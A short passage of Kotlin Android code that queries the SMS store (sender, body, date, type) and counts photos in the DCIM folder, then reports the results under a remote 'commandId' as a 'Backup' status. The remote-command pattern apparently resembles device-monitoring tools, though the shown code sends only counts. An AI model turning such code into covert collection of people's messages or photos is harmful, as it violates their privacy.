Telephony.Sms.CONTENT_URI, arrayOf(Telephony.Sms.ADDRESS, Telephony.Sms.BODY, Telephony.Sms.DATE, Telephony.Sms.TYPE), null, null, "${Telephony.Sms.DATE} DESC LIMIT 500") smsCursor?.use { smsCount = it.count } results.add("SMS: $smsCount messages") } if (photos) { val photoDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM) val photoCount = photoDir?.listFiles()?.size ?: 0 results.add("Photos: $photoCount files found") } apiClient.updateCommandStatus(commandId, "executed", "Backup completed: ${results.joinToString(", ")}") } catch (e: Exception) { apiClient.updateCommandStatus(commandId, "failed", "Backup error: ${e.message}") } } } }